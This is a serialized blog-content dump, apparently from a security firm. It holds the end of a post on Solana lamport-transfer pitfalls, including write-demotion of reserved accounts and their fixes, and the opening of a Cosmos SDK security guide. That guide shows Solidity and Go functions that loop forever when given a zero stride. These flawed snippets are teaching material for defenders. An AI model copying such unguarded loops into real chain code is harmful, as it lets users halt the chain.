that.",{"type":23,"tag":18368,"props":75081,"children":75083},{"id":75082},"real-world-example-write-demotion-with-secp256r1_program",[75084,75086],{"type":28,"value":75085},"Real-World Example: Write-Demotion with ",{"type":23,"tag":92,"props":75087,"children":75089},{"className":75088},[],[75090],{"type":28,"value":75091},"secp256r1_program",{"type":23,"tag":24,"props":75093,"children":75094},{},[75095,75097,75102],{"type":28,"value":75096},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":23,"tag":92,"props":75098,"children":75100},{"className":75099},[],[75101],{"type":28,"value":75091},{"type":28,"value":75103},", a precompiled program gated behind a feature flag:",{"type":23,"tag":87,"props":75105,"children":75107},{"className":128,"code":75106,"language":127,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[75108],{"type":23,"tag":92,"props":75109,"children":75110},{"__ignoreMap":7},[75111,75132,75152,75181],{"type":23,"tag":134,"props":75112,"children":75113},{"class":136,"line":137},[75114,75119,75123,75128],{"type":23,"tag":134,"props":75115,"children":75116},{"style":597},[75117],{"type":28,"value":75118},"ReservedAccount",{"type":23,"tag":134,"props":75120,"children":75121},{"style":168},[75122],{"type":28,"value":660},{"type":23,"tag":134,"props":75124,"children":75125},{"style":264},[75126],{"type":28,"value":75127},"new_pending",{"type":23,"tag":134,"props":75129,"children":75130},{"style":179},[75131],{"type":28,"value":642},{"type":23,"tag":134,"props":75133,"children":75134},{"class":136,"line":147},[75135,75140,75144,75148],{"type":23,"tag":134,"props":75136,"children":75137},{"style":179},[75138],{"type":28,"value":75139},"    secp256r1_program",{"type":23,"tag":134,"props":75141,"children":75142},{"style":168},[75143],{"type":28,"value":660},{"type":23,"tag":134,"props":75145,"children":75146},{"style":264},[75147],{"type":28,"value":665},{"type":23,"tag":134,"props":75149,"children":75150},{"style":179},[75151],{"type":28,"value":670},{"type":23,"tag":134,"props":75153,"children":75154},{"class":136,"line":185},[75155,75160,75164,75169,75173,75177],{"type":23,"tag":134,"props":75156,"children":75157},{"style":179},[75158],{"type":28,"value":75159},"    feature_set",{"type":23,"tag":134,"props":75161,"children":75162},{"style":168},[75163],{"type":28,"value":660},{"type":23,"tag":134,"props":75165,"children":75166},{"style":179},[75167],{"type":28,"value":75168},"enable_secp256r1_precompile",{"type":23,"tag":134,"props":75170,"children":75171},{"style":168},[75172],{"type":28,"value":660},{"type":23,"tag":134,"props":75174,"children":75175},{"style":264},[75176],{"type":28,"value":665},{"type":23,"tag":134,"props":75178,"children":75179},{"style":179},[75180],{"type":28,"value":670},{"type":23,"tag":134,"props":75182,"children":75183},{"class":136,"line":221},[75184],{"type":23,"tag":134,"props":75185,"children":75186},{"style":179},[75187],{"type":28,"value":329},{"type":23,"tag":24,"props":75189,"children":75190},{},[75191,75193,75198,75200,75206],{"type":28,"value":75192},"Before the ",{"type":23,"tag":92,"props":75194,"children":75196},{"className":75195},[],[75197],{"type":28,"value":75168},{"type":28,"value":75199}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":23,"tag":92,"props":75201,"children":75203},{"className":75202},[],[75204],{"type":28,"value":75205},"secp256r1_program::id()",{"type":28,"value":75207}," as the king in a contract.",{"type":23,"tag":24,"props":75209,"children":75210},{},[75211,75213,75218],{"type":28,"value":75212},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":23,"tag":92,"props":75214,"children":75216},{"className":75215},[],[75217],{"type":28,"value":75205},{"type":28,"value":75219}," becomes the eternal king, and no one can dethrone it.",{"type":23,"tag":18368,"props":75221,"children":75223},{"id":75222},"fix-3-preventing-write-demotion-pitfalls",[75224],{"type":28,"value":75225},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":23,"tag":24,"props":75227,"children":75228},{},[75229,75231,75236],{"type":28,"value":75230},"Alright, let’s try to fix this ",{"type":23,"tag":55,"props":75232,"children":75233},{},[75234],{"type":28,"value":75235},"yet another",{"type":28,"value":75237}," edge case — and hopefully close the book on it.",{"type":23,"tag":18368,"props":75239,"children":75241},{"id":75240},"attempt-1-block-known-reserved-accounts",[75242],{"type":28,"value":75243},"Attempt 1: Block Known Reserved Accounts",{"type":23,"tag":24,"props":75245,"children":75246},{},[75247],{"type":28,"value":75248},"One naive solution is to reject any known reserved account, for example:",{"type":23,"tag":87,"props":75250,"children":75252},{"className":39859,"code":75251,"language":39861,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[75253],{"type":23,"tag":92,"props":75254,"children":75255},{"__ignoreMap":7},[75256,75264],{"type":23,"tag":134,"props":75257,"children":75258},{"class":136,"line":137},[75259],{"type":23,"tag":134,"props":75260,"children":75261},{"style":179},[75262],{"type":28,"value":75263},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":23,"tag":134,"props":75265,"children":75266},{"class":136,"line":147},[75267],{"type":23,"tag":134,"props":75268,"children":75269},{"style":205},[75270],{"type":28,"value":75271},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":23,"tag":24,"props":75273,"children":75274},{},[75275,75277,75282],{"type":28,"value":75276},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":23,"tag":92,"props":75278,"children":75280},{"className":75279},[],[75281],{"type":28,"value":75118},{"type":28,"value":75283}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":23,"tag":18368,"props":75285,"children":75287},{"id":75286},"attempt-2-use-a-pda-vault",[75288],{"type":28,"value":75289},"Attempt 2: Use a PDA Vault",{"type":23,"tag":24,"props":75291,"children":75292},{},[75293,75295,75300],{"type":28,"value":75294},"A more future-proof fix is to avoid ",{"type":23,"tag":2532,"props":75296,"children":75297},{},[75298],{"type":28,"value":75299},"transferring lamports to arbitrary accounts",{"type":28,"value":75301}," altogether.",{"type":23,"tag":24,"props":75303,"children":75304},{},[75305],{"type":28,"value":75306},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":23,"tag":61,"props":75308,"children":75310},{"id":75309},"final-thoughts",[75311],{"type":28,"value":75312},"Final Thoughts",{"type":23,"tag":24,"props":75314,"children":75315},{},[75316],{"type":28,"value":75317},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":23,"tag":24,"props":75319,"children":75320},{},[75321],{"type":28,"value":75322},"We can safely transfer lamports to an account under the following conditions:",{"type":23,"tag":16158,"props":75324,"children":75325},{},[75326,75331,75336],{"type":23,"tag":4894,"props":75327,"children":75328},{},[75329],{"type":28,"value":75330},"It's not executable.",{"type":23,"tag":4894,"props":75332,"children":75333},{},[75334],{"type":28,"value":75335},"Its balance, after the transfer, remains rent-exempt.",{"type":23,"tag":4894,"props":75337,"children":75338},{},[75339],{"type":28,"value":75340},"It's not a reserved account.",{"type":23,"tag":24,"props":75342,"children":75343},{},[75344],{"type":28,"value":75345},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":23,"tag":2575,"props":75347,"children":75348},{},[75349],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":75351},[75352,75353,75354,75360],{"id":28508,"depth":147,"text":28511},{"id":70734,"depth":147,"text":70737},{"id":71841,"depth":147,"text":71844,"children":75355},[75356,75357,75359],{"id":71847,"depth":185,"text":71850},{"id":72534,"depth":185,"text":75358},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":73839,"depth":185,"text":73842},{"id":75309,"depth":147,"text":75312},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":75365,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":75366,"description":75367,"date":75368,"author":75369,"image":75370,"isFeatured":15,"onBlogPage":15,"tags":75372,"body":75375,"_type":2586,"_id":89260,"_source":2588,"_file":89261,"_stem":89262,"_extension":2591},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":75371,"width":13091,"height":13091},"/posts/cosmos-security/title.png",[75373,75374],"cosmos-sdk","security",{"type":20,"children":75376,"toc":89238},[75377,75381,75386,75391,75397,75402,75407,75412,75673,76162,76181,76186,76191,76196,76202,76207,76242,76252,76759,76779,76792,76798,76803,76808,77049,77054,77062,77074,77436,77441,77446,77482,77491,77917,77938,77944,77964,77985,78004,78036,78048,78060,78714,78742,78751,79191,79218,79238,79243,79264,79313,79322,80554,80582,80588,80593,80598,80618,80905,80939,81120,81125,81130,81174,81183,82375,82626,82639,82645,82679,82684,82747,82752,82772,82791,82803,82822,83514,83519,83524,83552,83561,84446,84473,84479,84499,84504,84517,84691,84704,84795,84800,84808,84818,84968,84973,84993,85001,85006,85404,85416,85421,85462,85473,85493,85801,85806,86731,86743,86751,86756,87749,87754,87766,87786,87805,88719,88776,88882,88894,88899,88904,88932,88941,89167,89193,89206,89220,89224,89229,89234],{"type":23,"tag":61,"props":75378,"children":75379},{"id":28508},[75380],{"type":28,"value":28511},{"type":23,"tag":24,"props":75382,"children":75383},{},[75384],{"type":28,"value":75385},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":23,"tag":24,"props":75387,"children":75388},{},[75389],{"type":28,"value":75390},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":23,"tag":61,"props":75392,"children":75394},{"id":75393},"its-loopin-time",[75395],{"type":28,"value":75396},"It's Loopin' Time",{"type":23,"tag":24,"props":75398,"children":75399},{},[75400],{"type":28,"value":75401},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":23,"tag":24,"props":75403,"children":75404},{},[75405],{"type":28,"value":75406},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":23,"tag":24,"props":75408,"children":75409},{},[75410],{"type":28,"value":75411},"Here is a simple example for reference:",{"type":23,"tag":87,"props":75413,"children":75415},{"code":75414,"language":1679,"meta":7,"className":1680,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[75416],{"type":23,"tag":92,"props":75417,"children":75418},{"__ignoreMap":7},[75419,75435,75452,75468,75490,75519,75540,75564,75585,75592,75613,75630,75647,75654,75666],{"type":23,"tag":134,"props":75420,"children":75421},{"class":136,"line":137},[75422,75426,75431],{"type":23,"tag":134,"props":75423,"children":75424},{"style":151},[75425],{"type":28,"value":30872},{"type":23,"tag":134,"props":75427,"children":75428},{"style":264},[75429],{"type":28,"value":75430}," sumWithStride",{"type":23,"tag":134,"props":75432,"children":75433},{"style":179},[75434],{"type":28,"value":642},{"type":23,"tag":134,"props":75436,"children":75437},{"class":136,"line":147},[75438,75443,75448],{"type":23,"tag":134,"props":75439,"children":75440},{"style":597},[75441],{"type":28,"value":75442},"    uint64",{"type":23,"tag":134,"props":75444,"children":75445},{"style":162},[75446],{"type":28,"value":75447}," start",{"type":23,"tag":134,"props":75449,"children":75450},{"style":179},[75451],{"type":28,"value":687},{"type":23,"tag":134,"props":75453,"children":75454},{"class":136,"line":185},[75455,75459,75464],{"type":23,"tag":134,"props":75456,"children":75457},{"style":597},[75458],{"type":28,"value":75442},{"type":23,"tag":134,"props":75460,"children":75461},{"style":162},[75462],{"type":28,"value":75463}," stride",{"type":23,"tag":134,"props":75465,"children":75466},{"style":179},[75467],{"type":28,"value":687},{"type":23,"tag":134,"props":75469,"children":75470},{"class":136,"line":221},[75471,75475,75480,75485],{"type":23,"tag":134,"props":75472,"children":75473},{"style":597},[75474],{"type":28,"value":75442},{"type":23,"tag":134,"props":75476,"children":75477},{"style":179},[75478],{"type":28,"value":75479},"[] ",{"type":23,"tag":134,"props":75481,"children":75482},{"style":151},[75483],{"type":28,"value":75484},"memory",{"type":23,"tag":134,"props":75486,"children":75487},{"style":162},[75488],{"type":28,"value":75489}," arr\n",{"type":23,"tag":134,"props":75491,"children":75492},{"class":136,"line":332},[75493,75497,75501,75506,75510,75515],{"type":23,"tag":134,"props":75494,"children":75495},{"style":179},[75496],{"type":28,"value":252},{"type":23,"tag":134,"props":75498,"children":75499},{"style":151},[75500],{"type":28,"value":61183},{"type":23,"tag":134,"props":75502,"children":75503},{"style":189},[75504],{"type":28,"value":75505}," returns",{"type":23,"tag":134,"props":75507,"children":75508},{"style":179},[75509],{"type":28,"value":232},{"type":23,"tag":134,"props":75511,"children":75512},{"style":597},[75513],{"type":28,"value":75514},"uint64",{"type":23,"tag":134,"props":75516,"children":75517},{"style":179},[75518],{"type":28,"value":14272},{"type":23,"tag":134,"props":75520,"children":75521},{"class":136,"line":438},[75522,75526,75531,75535],{"type":23,"tag":134,"props":75523,"children":75524},{"style":597},[75525],{"type":28,"value":75442},{"type":23,"tag":134,"props":75527,"children":75528},{"style":179},[75529],{"type":28,"value":75530}," idx ",{"type":23,"tag":134,"props":75532,"children":75533},{"style":168},[75534],{"type":28,"value":257},{"type":23,"tag":134,"props":75536,"children":75537},{"style":179},[75538],{"type":28,"value":75539}," start;\n",{"type":23,"tag":134,"props":75541,"children":75542},{"class":136,"line":466},[75543,75547,75552,75556,75560],{"type":23,"tag":134,"props":75544,"children":75545},{"style":597},[75546],{"type":28,"value":75442},{"type":23,"tag":134,"props":75548,"children":75549},{"style":179},[75550],{"type":28,"value":75551}," sum ",{"type":23,"tag":134,"props":75553,"children":75554},{"style":168},[75555],{"type":28,"value":257},{"type":23,"tag":134,"props":75557,"children":75558},{"style":205},[75559],{"type":28,"value":208},{"type":23,"tag":134,"props":75561,"children":75562},{"style":179},[75563],{"type":28,"value":182},{"type":23,"tag":134,"props":75565,"children":75566},{"class":136,"line":479},[75567,75571,75576,75580],{"type":23,"tag":134,"props":75568,"children":75569},{"style":597},[75570],{"type":28,"value":75442},{"type":23,"tag":134,"props":75572,"children":75573},{"style":179},[75574],{"type":28,"value":75575}," end ",{"type":23,"tag":134,"props":75577,"children":75578},{"style":168},[75579],{"type":28,"value":257},{"type":23,"tag":134,"props":75581,"children":75582},{"style":179},[75583],{"type":28,"value":75584}," arr.length;\n",{"type":23,"tag":134,"props":75586,"children":75587},{"class":136,"line":497},[75588],{"type":23,"tag":134,"props":75589,"children":75590},{"emptyLinePlaceholder":15},[75591],{"type":28,"value":865},{"type":23,"tag":134,"props":75593,"children":75594},{"class":136,"line":518},[75595,75599,75604,75608],{"type":23,"tag":134,"props":75596,"children":75597},{"style":189},[75598],{"type":28,"value":63882},{"type":23,"tag":134,"props":75600,"children":75601},{"style":179},[75602],{"type":28,"value":75603}," (idx ",{"type":23,"tag":134,"props":75605,"children":75606},{"style":168},[75607],{"type":28,"value":5262},{"type":23,"tag":134,"props":75609,"children":75610},{"style":179},[75611],{"type":28,"value":75612}," end) {\n",{"type":23,"tag":134,"props":75614,"children":75615},{"class":136,"line":527},[75616,75621,75625],{"type":23,"tag":134,"props":75617,"children":75618},{"style":179},[75619],{"type":28,"value":75620},"        sum ",{"type":23,"tag":134,"props":75622,"children":75623},{"style":168},[75624],{"type":28,"value":67947},{"type":23,"tag":134,"props":75626,"children":75627},{"style":179},[75628],{"type":28,"value":75629}," arr[idx];\n",{"type":23,"tag":134,"props":75631,"children":75632},{"class":136,"line":780},[75633,75638,75642],{"type":23,"tag":134,"props":75634,"children":75635},{"style":179},[75636],{"type":28,"value":75637},"        idx ",{"type":23,"tag":134,"props":75639,"children":75640},{"style":168},[75641],{"type":28,"value":67947},{"type":23,"tag":134,"props":75643,"children":75644},{"style":179},[75645],{"type":28,"value":75646}," stride;\n",{"type":23,"tag":134,"props":75648,"children":75649},{"class":136,"line":797},[75650],{"type":23,"tag":134,"props":75651,"children":75652},{"style":179},[75653],{"type":28,"value":533},{"type":23,"tag":134,"props":75655,"children":75656},{"class":136,"line":814},[75657,75661],{"type":23,"tag":134,"props":75658,"children":75659},{"style":189},[75660],{"type":28,"value":16461},{"type":23,"tag":134,"props":75662,"children":75663},{"style":179},[75664],{"type":28,"value":75665}," sum;\n",{"type":23,"tag":134,"props":75667,"children":75668},{"class":136,"line":827},[75669],{"type":23,"tag":134,"props":75670,"children":75671},{"style":179},[75672],{"type":28,"value":1098},{"type":23,"tag":87,"props":75674,"children":75678},{"code":75675,"language":75676,"meta":7,"className":75677,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[75679],{"type":23,"tag":92,"props":75680,"children":75681},{"__ignoreMap":7},[75682,75702,75715,75727,75745,75752,75759,75779,75791,75798,75805,75840,75866,75887,75916,75946,75991,76068,76104,76111,76155],{"type":23,"tag":134,"props":75683,"children":75684},{"class":136,"line":137},[75685,75689,75694,75698],{"type":23,"tag":134,"props":75686,"children":75687},{"style":151},[75688],{"type":28,"value":32252},{"type":23,"tag":134,"props":75690,"children":75691},{"style":597},[75692],{"type":28,"value":75693}," MsgSumWithStrideParams",{"type":23,"tag":134,"props":75695,"children":75696},{"style":151},[75697],{"type":28,"value":20629},{"type":23,"tag":134,"props":75699,"children":75700},{"style":179},[75701],{"type":28,"value":463},{"type":23,"tag":134,"props":75703,"children":75704},{"class":136,"line":147},[75705,75710],{"type":23,"tag":134,"props":75706,"children":75707},{"style":162},[75708],{"type":28,"value":75709},"    Start",{"type":23,"tag":134,"props":75711,"children":75712},{"style":597},[75713],{"type":28,"value":75714}," uint64\n",{"type":23,"tag":134,"props":75716,"children":75717},{"class":136,"line":185},[75718,75723],{"type":23,"tag":134,"props":75719,"children":75720},{"style":162},[75721],{"type":28,"value":75722},"    Stride",{"type":23,"tag":134,"props":75724,"children":75725},{"style":597},[75726],{"type":28,"value":75714},{"type":23,"tag":134,"props":75728,"children":75729},{"class":136,"line":221},[75730,75735,75740],{"type":23,"tag":134,"props":75731,"children":75732},{"style":162},[75733],{"type":28,"value":75734},"    Arr",{"type":23,"tag":134,"props":75736,"children":75737},{"style":179},[75738],{"type":28,"value":75739}," []",{"type":23,"tag":134,"props":75741,"children":75742},{"style":597},[75743],{"type":28,"value":75744},"uint64\n",{"type":23,"tag":134,"props":75746,"children":75747},{"class":136,"line":332},[75748],{"type":23,"tag":134,"props":75749,"children":75750},{"style":179},[75751],{"type":28,"value":1098},{"type":23,"tag":134,"props":75753,"children":75754},{"class":136,"line":438},[75755],{"type":23,"tag":134,"props":75756,"children":75757},{"emptyLinePlaceholder":15},[75758],{"type":28,"value":865},{"type":23,"tag":134,"props":75760,"children":75761},{"class":136,"line":466},[75762,75766,75771,75775],{"type":23,"tag":134,"props":75763,"children":75764},{"style":151},[75765],{"type":28,"value":32252},{"type":23,"tag":134,"props":75767,"children":75768},{"style":597},[75769],{"type":28,"value":75770}," MsgSumWithStrideResponse",{"type":23,"tag":134,"props":75772,"children":75773},{"style":151},[75774],{"type":28,"value":20629},{"type":23,"tag":134,"props":75776,"children":75777},{"style":179},[75778],{"type":28,"value":463},{"type":23,"tag":134,"props":75780,"children":75781},{"class":136,"line":479},[75782,75787],{"type":23,"tag":134,"props":75783,"children":75784},{"style":162},[75785],{"type":28,"value":75786},"    Sum",{"type":23,"tag":134,"props":75788,"children":75789},{"style":597},[75790],{"type":28,"value":75714},{"type":23,"tag":134,"props":75792,"children":75793},{"class":136,"line":497},[75794],{"type":23,"tag":134,"props":75795,"children":75796},{"style":179},[75797],{"type":28,"value":1098},{"type":23,"tag":134,"props":75799,"children":75800},{"class":136,"line":518},[75801],{"type":23,"tag":134,"props":75802,"children":75803},{"emptyLinePlaceholder":15},[75804],{"type":28,"value":865},{"type":23,"tag":134,"props":75806,"children":75807},{"class":136,"line":527},[75808,75813,75817,75822,75827,75831,75836],{"type":23,"tag":134,"props":75809,"children":75810},{"style":151},[75811],{"type":28,"value":75812},"func",{"type":23,"tag":134,"props":75814,"children":75815},{"style":179},[75816],{"type":28,"value":232},{"type":23,"tag":134,"props":75818,"children":75819},{"style":162},[75820],{"type":28,"value":75821},"ms ",{"type":23,"tag":134,"props":75823,"children":75824},{"style":597},[75825],{"type":28,"value":75826},"msgServer",{"type":23,"tag":134,"props":75828,"children":75829},{"style":179},[75830],{"type":28,"value":252},{"type":23,"tag":134,"props":75832,"children":75833},{"style":264},[75834],{"type":28,"value":75835},"SumWithStride",{"type":23,"tag":134,"props":75837,"children":75838},{"style":179},[75839],{"type":28,"value":642},{"type":23,"tag":134,"props":75841,"children":75842},{"class":136,"line":780},[75843,75848,75853,75857,75862],{"type":23,"tag":134,"props":75844,"children":75845},{"style":162},[75846],{"type":28,"value":75847},"    goCtx",{"type":23,"tag":134,"props":75849,"children":75850},{"style":597},[75851],{"type":28,"value":75852}," context",{"type":23,"tag":134,"props":75854,"children":75855},{"style":179},[75856],{"type":28,"value":720},{"type":23,"tag":134,"props":75858,"children":75859},{"style":597},[75860],{"type":28,"value":75861},"Context",{"type":23,"tag":134,"props":75863,"children":75864},{"style":179},[75865],{"type":28,"value":687},{"type":23,"tag":134,"props":75867,"children":75868},{"class":136,"line":797},[75869,75874,75878,75883],{"type":23,"tag":134,"props":75870,"children":75871},{"style":162},[75872],{"type":28,"value":75873},"    msg",{"type":23,"tag":134,"props":75875,"children":75876},{"style":168},[75877],{"type":28,"value":9281},{"type":23,"tag":134,"props":75879,"children":75880},{"style":597},[75881],{"type":28,"value":75882},"MsgSumWithStrideParams",{"type":23,"tag":134,"props":75884,"children":75885},{"style":179},[75886],{"type":28,"value":687},{"type":23,"tag":134,"props":75888,"children":75889},{"class":136,"line":814},[75890,75895,75899,75904,75908,75912],{"type":23,"tag":134,"props":75891,"children":75892},{"style":179},[75893],{"type":28,"value":75894},") (",{"type":23,"tag":134,"props":75896,"children":75897},{"style":168},[75898],{"type":28,"value":1777},{"type":23,"tag":134,"props":75900,"children":75901},{"style":597},[75902],{"type":28,"value":75903},"MsgSumWithStrideResponse",{"type":23,"tag":134,"props":75905,"children":75906},{"style":179},[75907],{"type":28,"value":242},{"type":23,"tag":134,"props":75909,"children":75910},{"style":597},[75911],{"type":28,"value":14332},{"type":23,"tag":134,"props":75913,"children":75914},{"style":179},[75915],{"type":28,"value":14272},{"type":23,"tag":134,"props":75917,"children":75918},{"class":136,"line":827},[75919,75924,75929,75934,75938,75942],{"type":23,"tag":134,"props":75920,"children":75921},{"style":162},[75922],{"type":28,"value":75923},"    sum",{"type":23,"tag":134,"props":75925,"children":75926},{"style":168},[75927],{"type":28,"value":75928}," :=",{"type":23,"tag":134,"props":75930,"children":75931},{"style":597},[75932],{"type":28,"value":75933}," uint64",{"type":23,"tag":134,"props":75935,"children":75936},{"style":179},[75937],{"type":28,"value":272},{"type":23,"tag":134,"props":75939,"children":75940},{"style":205},[75941],{"type":28,"value":1224},{"type":23,"tag":134,"props":75943,"children":75944},{"style":179},[75945],{"type":28,"value":329},{"type":23,"tag":134,"props":75947,"children":75948},{"class":136,"line":836},[75949,75954,75958,75962,75966,75970,75974,75978,75982,75987],{"type":23,"tag":134,"props":75950,"children":75951},{"style":162},[75952],{"type":28,"value":75953},"    end",{"type":23,"tag":134,"props":75955,"children":75956},{"style":168},[75957],{"type":28,"value":75928},{"type":23,"tag":134,"props":75959,"children":75960},{"style":597},[75961],{"type":28,"value":75933},{"type":23,"tag":134,"props":75963,"children":75964},{"style":179},[75965],{"type":28,"value":272},{"type":23,"tag":134,"props":75967,"children":75968},{"style":264},[75969],{"type":28,"value":8601},{"type":23,"tag":134,"props":75971,"children":75972},{"style":179},[75973],{"type":28,"value":272},{"type":23,"tag":134,"props":75975,"children":75976},{"style":162},[75977],{"type":28,"value":57453},{"type":23,"tag":134,"props":75979,"children":75980},{"style":179},[75981],{"type":28,"value":720},{"type":23,"tag":134,"props":75983,"children":75984},{"style":162},[75985],{"type":28,"value":75986},"Arr",{"type":23,"tag":134,"props":75988,"children":75989},{"style":179},[75990],{"type":28,"value":19189},{"type":23,"tag":134,"props":75992,"children":75993},{"class":136,"line":859},[75994,75998,76003,76007,76012,76016,76021,76025,76030,76034,76039,76043,76047,76051,76055,76059,76064],{"type":23,"tag":134,"props":75995,"children":75996},{"style":189},[75997],{"type":28,"value":192},{"type":23,"tag":134,"props":75999,"children":76000},{"style":162},[76001],{"type":28,"value":76002}," idx",{"type":23,"tag":134,"props":76004,"children":76005},{"style":168},[76006],{"type":28,"value":75928},{"type":23,"tag":134,"props":76008,"children":76009},{"style":162},[76010],{"type":28,"value":76011}," msg",{"type":23,"tag":134,"props":76013,"children":76014},{"style":179},[76015],{"type":28,"value":720},{"type":23,"tag":134,"props":76017,"children":76018},{"style":162},[76019],{"type":28,"value":76020},"Start",{"type":23,"tag":134,"props":76022,"children":76023},{"style":179},[76024],{"type":28,"value":16699},{"type":23,"tag":134,"props":76026,"children":76027},{"style":162},[76028],{"type":28,"value":76029},"idx",{"type":23,"tag":134,"props":76031,"children":76032},{"style":168},[76033],{"type":28,"value":8179},{"type":23,"tag":134,"props":76035,"children":76036},{"style":162},[76037],{"type":28,"value":76038}," end",{"type":23,"tag":134,"props":76040,"children":76041},{"style":179},[76042],{"type":28,"value":16699},{"type":23,"tag":134,"props":76044,"children":76045},{"style":162},[76046],{"type":28,"value":76029},{"type":23,"tag":134,"props":76048,"children":76049},{"style":168},[76050],{"type":28,"value":14533},{"type":23,"tag":134,"props":76052,"children":76053},{"style":162},[76054],{"type":28,"value":76011},{"type":23,"tag":134,"props":76056,"children":76057},{"style":179},[76058],{"type":28,"value":720},{"type":23,"tag":134,"props":76060,"children":76061},{"style":162},[76062],{"type":28,"value":76063},"Stride",{"type":23,"tag":134,"props":76065,"children":76066},{"style":179},[76067],{"type":28,"value":463},{"type":23,"tag":134,"props":76069,"children":76070},{"class":136,"line":868},[76071,76076,76080,76084,76088,76092,76096,76100],{"type":23,"tag":134,"props":76072,"children":76073},{"style":162},[76074],{"type":28,"value":76075},"        sum",{"type":23,"tag":134,"props":76077,"children":76078},{"style":168},[76079],{"type":28,"value":14533},{"type":23,"tag":134,"props":76081,"children":76082},{"style":162},[76083],{"type":28,"value":76011},{"type":23,"tag":134,"props":76085,"children":76086},{"style":179},[76087],{"type":28,"value":720},{"type":23,"tag":134,"props":76089,"children":76090},{"style":162},[76091],{"type":28,"value":75986},{"type":23,"tag":134,"props":76093,"children":76094},{"style":179},[76095],{"type":28,"value":924},{"type":23,"tag":134,"props":76097,"children":76098},{"style":162},[76099],{"type":28,"value":76029},{"type":23,"tag":134,"props":76101,"children":76102},{"style":179},[76103],{"type":28,"value":11239},{"type":23,"tag":134,"props":76105,"children":76106},{"class":136,"line":877},[76107],{"type":23,"tag":134,"props":76108,"children":76109},{"style":179},[76110],{"type":28,"value":533},{"type":23,"tag":134,"props":76112,"children":76113},{"class":136,"line":946},[76114,76118,76122,76126,76131,76136,76140,76145,76150],{"type":23,"tag":134,"props":76115,"children":76116},{"style":189},[76117],{"type":28,"value":16461},{"type":23,"tag":134,"props":76119,"children":76120},{"style":168},[76121],{"type":28,"value":6599},{"type":23,"tag":134,"props":76123,"children":76124},{"style":597},[76125],{"type":28,"value":75903},{"type":23,"tag":134,"props":76127,"children":76128},{"style":179},[76129],{"type":28,"value":76130},"{",{"type":23,"tag":134,"props":76132,"children":76133},{"style":162},[76134],{"type":28,"value":76135},"Sum",{"type":23,"tag":134,"props":76137,"children":76138},{"style":179},[76139],{"type":28,"value":14800},{"type":23,"tag":134,"props":76141,"children":76142},{"style":162},[76143],{"type":28,"value":76144},"sum",{"type":23,"tag":134,"props":76146,"children":76147},{"style":179},[76148],{"type":28,"value":76149},"}, ",{"type":23,"tag":134,"props":76151,"children":76152},{"style":151},[76153],{"type":28,"value":76154},"nil\n",{"type":23,"tag":134,"props":76156,"children":76157},{"class":136,"line":954},[76158],{"type":23,"tag":134,"props":76159,"children":76160},{"style":179},[76161],{"type":28,"value":1098},{"type":23,"tag":24,"props":76163,"children":76164},{},[76165,76167,76172,76173,76179],{"type":28,"value":76166},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":23,"tag":92,"props":76168,"children":76170},{"className":76169},[],[76171],{"type":28,"value":76029},{"type":28,"value":6772},{"type":23,"tag":92,"props":76174,"children":76176},{"className":76175},[],[76177],{"type":28,"value":76178},"stride",{"type":28,"value":76180},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite 